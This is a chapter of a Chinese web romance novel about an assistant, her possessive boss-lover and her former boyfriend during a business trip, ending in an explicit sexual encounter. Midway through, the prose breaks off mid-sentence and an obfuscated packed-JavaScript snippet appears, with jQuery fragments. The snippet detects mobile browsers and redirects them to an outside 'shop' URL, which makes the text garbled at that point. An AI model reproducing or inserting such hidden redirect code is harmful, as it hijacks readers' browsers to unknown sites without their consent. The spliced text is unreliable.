44. 第 44 章

作品:《他们怎么都当真了?

    苏誊这一觉睡得很死,梦里一片黑沉,连费洵什么时候回来的都不知道。


    “醒了?起来吃点东西。”费洵边摆弄食盒边道:“刚给你量过,烧已经退了。”


    “我先洗个澡,出一身汗难受。”苏誊低头闻了闻自己,大热的天捂这么久身上都酸了。


    “刚退烧瞎折腾什么?我去拿毛巾给你擦擦。”费洵把人按回床上,很快去卫生间洗了两条热毛巾,见她拘谨地坐在那里一动不动,笑问:“我给你脱?”


    “不、不用,我自己来。”苏誊急忙接过来,忸怩了两秒背过身脱下衣服自己擦,感觉那两道黏在背上的视线开口道:“帮我拿下睡衣,挂衣柜里了。”


    “好。”费洵依依不舍挪开目光,找衣服时瞥到律师来电,接通道:“喂,说。”


    “费总,犯人的妻子昨天跳楼了,事发前她联系过苏小姐。”


    费洵动作一顿,扫了眼苏誊,问:“人怎么样?”


    “还在抢救,不好说。”


    费洵不在意道:“你看着办,这事我知道就行了。”


    “明白,费总。”


    费洵挂了电话,发现苏誊已经把自己裹成个粽子,正一脸严肃鼓捣手机,上前把睡衣扔过去道:“别玩了,快吃饭。”


    丝质睡衣轻飘飘盖住头脸,苏誊只觉得手上一空,扯下衣服对着被抢走的手机敢怒不敢言:“我哪儿玩了?我是在工作好不好?我就睡一会你看看多少找你的。”


    费洵让苏誊一起出差本就是找个由头把人绑在身边,根本无所谓她工不工作。看也没看那一串未接来电便直接关机,微微倾身贴近她的脸道:“这些事以后让楚玉处理就行,你只需要对我负责。”


    “我使唤他?那不显得我仗势欺人么?”苏誊微微侧过脸避开暧昧的氛围,“再说了,我总得对得起这五倍工资吧。”


    相处了这么久,费洵多少摸到了一点她的本性,看她怨气冲天还装模作样嘴角几不可查地抽了一下,好笑道:“你连我都不放在眼里还担心这个?好了,等忙完正事想去哪儿玩我都奉陪。”


    苏誊脸上这才有了点笑模样。


    “满意了?”费洵的声音带着几分戏谑,修长的手指掀开食盒盖子,舀起一勺还泛着热气的咖喱状食物递到她嘴边,语气却忽然沉了沉,带着不容置疑的笃定:“我今晚上不走了。”


    苏誊闻言一愣,脸上笑意顿时僵住,不假思索拒绝道:“啊?那么多人呢,万一被看见不好吧。”


    费洵浑不在意,抬手将勺子递得更近:“谁敢说什么?”


    是不敢说你,全落我身上了。


    苏誊暗暗腹诽,脑子飞快想借口。


    “怎么?”费洵的目光忽然暗下来,语气带着几分明显的不悦:“你就这么不想我留下来?”


    “不是。”苏誊立刻否认,对上他深邃的眼神连忙摆了摆手。其实他们同床共枕的日子不多,费洵一个月至少二十天都在四处飞,但只要在家费洵都会去她卧室搂着睡。苏誊从来都是一个人睡,有时候半夜上厕所突然发现身边多了个人着实吓一跳。


    她暗暗吸了口气,尽量让自己的语气听起来平和些:“我今天真的很累,实在没什么力气,还是改天吧。”


    “你休息你的,不碍事。”费洵勾了勾嘴角,故意顺着她的意思说,眼底藏着几分捉弄的笑意——苏誊越是抵触,他就越觉得有意思,越想要逗她。等欣赏够了她慌乱的样子才慢慢道:“放心,我不做什么,就睡觉。”


    苏誊放下心来,至少费洵的信誉还是能保证的。她是真没力气陪他厮混了。


    一勺勺喂她吃完饭,费洵又打水给她刷牙洗漱,甚至睡前还细心得倒好热水调高温度,跟平时不苟言笑气场慑人的决策者简直两模两样。


    “真不看出来你这么体贴、这么会照顾人。”苏誊不由想,他以前也这么对前女友么?


    床沿忽然一沉,费洵掀开被子轻手轻脚躺进来,长臂一伸按灭了床头灯,朦胧月光从窗帘缝漏进来,照进他深邃的眼里,声音染上一丝疲倦的沙哑:“喜欢?”


    苏誊声如蚊讷地点头。如果非要让她说出一个他身上最喜欢的地方的话,那一定是声音。此刻那低沉磁性的嗓音如羽毛搔过心尖,撩得耳根一麻,连眼神都不由朦胧了几分。


    费洵捕捉到她一瞬间的怔忪,无声笑了笑,倾身在她唇上印了个柔软的浅吻,然后才掖好被子道:“睡吧,宝贝。”


    苏誊轻轻“嗯”了一声,缓缓转身闭眼,身后传来布料摩擦的窸窣声。苏誊犹豫半晌,忽然轻声问:“你真的喜欢我吗?”


    “当然。”费洵的回答没有半分迟疑,随即反问:“那你呢?”


    “我不知道。”苏誊老实回答。


    这显然不是个令人满意的答案,她顿了顿又继续说:“如果……我是说万一,一年后你还坚持这么认为,那我们就真的试试。”


    空气陷入短暂的沉默,费洵垂着眼,似乎在思考其话中含义,再开口时口气多了几分微妙的笑意:“这算是你对我的考察期?”


    苏誊想了想,“这么说也行。”随即又鼓励似地拍拍他搭在身侧的胳膊,声音明快起来,带着点俏皮:“今天你就表现得不错,继续保持。”


    那只手刚落下就被顺势反握住,下一秒费洵轻轻将她往怀里带了带,微凉的后背瞬间贴上温热的胸膛,“好,我会努力。”


    苏誊像是被他软化的态度取悦了,她转过去面对面看着费洵,目光从他的眼睛慢慢滑到那两片薄唇上,唇瓣微微翕开,像是无声的暗示,而后又落回他的双眼。


    费洵即刻读懂她的邀请,俯身将纯贴上去的瞬间,舌头撬开唇缝长驱直入,苏誊本被亲得浑身发软,喉间溢出呜呜闷哼,胸膛急促起伏,费洵顾忌她刚退烧,终究没舍得继续下去,只能不解气地在她脖子上留下一个深深的吻痕才算作罢。


    翌日东道主按计划安排一行人参观当地地标建筑,苏誊经过一夜好眠又恢复神采飞扬的模样,跟在费洵后面做个安静的背景板。


    人群中同样充当背


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404349|198266||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    景板还有跟着领导的谢理——面对这位早就断联的前任说不尴尬是不可能的。但眼见对方对着笔记本眼观鼻鼻观心,半点眼神都不曾给她,她心里又莫名生出一丝不爽。


    外国主办方做事向来松弛,没急着推进实地考察,反倒带着几十号人的队伍慢悠悠逛遍街巷,沉浸式了解当地文化。临近正午,众人被引至一家七星级酒店用餐,奢华的包厢里觥筹交错,气氛热烈。


    宴席过半,苏誊正跟费洵研究哪个菜最好吃,斜对面忽然传来一道熟悉的声音。


    “苏助,你的耳环。”是谢理。


    苏誊一愣,下意识摸向右侧耳垂,空的。低头翻遍口袋和包包,依旧一无所获。明明逛博物馆时还戴得好好的,想来多半是落在那儿了。


    “我回去找一下,你们不用等我。”她起身就要往外走。


    “一个耳环而已,丢了就算了,回头重新买一对就是。”费洵语气带着几分不在意,更想让她留在身边。


    没等苏誊开口,谢理已经放下餐具,重逢以来第一次看向她:“我陪苏助一起吧,两个人找起来快些。”


    苏誊犹豫了一瞬,终究点了点头:“麻烦你了。”


    两人一前一后走出包厢,刚经过走廊拐角,远离了众人视线,方才在席上维持的礼貌客气瞬间消失无踪。


    苏誊攥着包带,心里很清楚——谢理看似对她已经形同陌路,实则注意力一直在她身上,否则怎么会第一时间发现她丢了只耳环?


    “先原路回去看看?”谢理提议。


    一路无话,两人先一路找到停车场,又折返博物馆,最后在车上后座的缝隙里找到了那只精致璀璨的钻石耳环。


    “找到了。”


    两人对视一眼,很快错开视线,沉默着回到酒店,经过洗手间时苏誊停下脚步:“你先回去吧,我去趟洗手间。”


    谢理没有应声,却在她转身时跟了上去,苏誊只来得及发出一声短促的惊呼,就被轻易推进隔间。


    咔嗒,落锁。


    谢理直勾勾看着她,视线触及她颈侧的刺目红痕时眼色变深,然后慢慢蹲下身,隐没在白色的裙摆间。


    苏誊浑身一紧,忍不住倒抽口气,站不住似地一晃,又被两只有力的大手稳住腰身。她慌忙伸手撑住墙壁,呼吸乱作一团,眼神逐渐涣散。


    “唔……”苏誊死死咬住下唇,身体被带得小幅度摇晃,忽然她如遭电击般猛地一颤,仰头无声尖叫,两条腿抖如筛糠。


    好舒服。


    苏誊想叫他停,又不愿意停。这种爽到灵魂战栗浑身毛孔打开的感觉她已经很久没感受过了。


    谢理仍在继续。


    苏誊很快又被从短暂的清醒中卷入更加湍急的旋涡。


    谢理太了解她,甚至没有捂住她的嘴。


    或许过了一个世纪,却仿佛只有一瞬那么长,一切归于平静。


    谢理站直身体,伸出舌尖缓慢地舔了舔唇角的水液,含住她红得滴血的耳垂低问:“费总会这么对你吗?”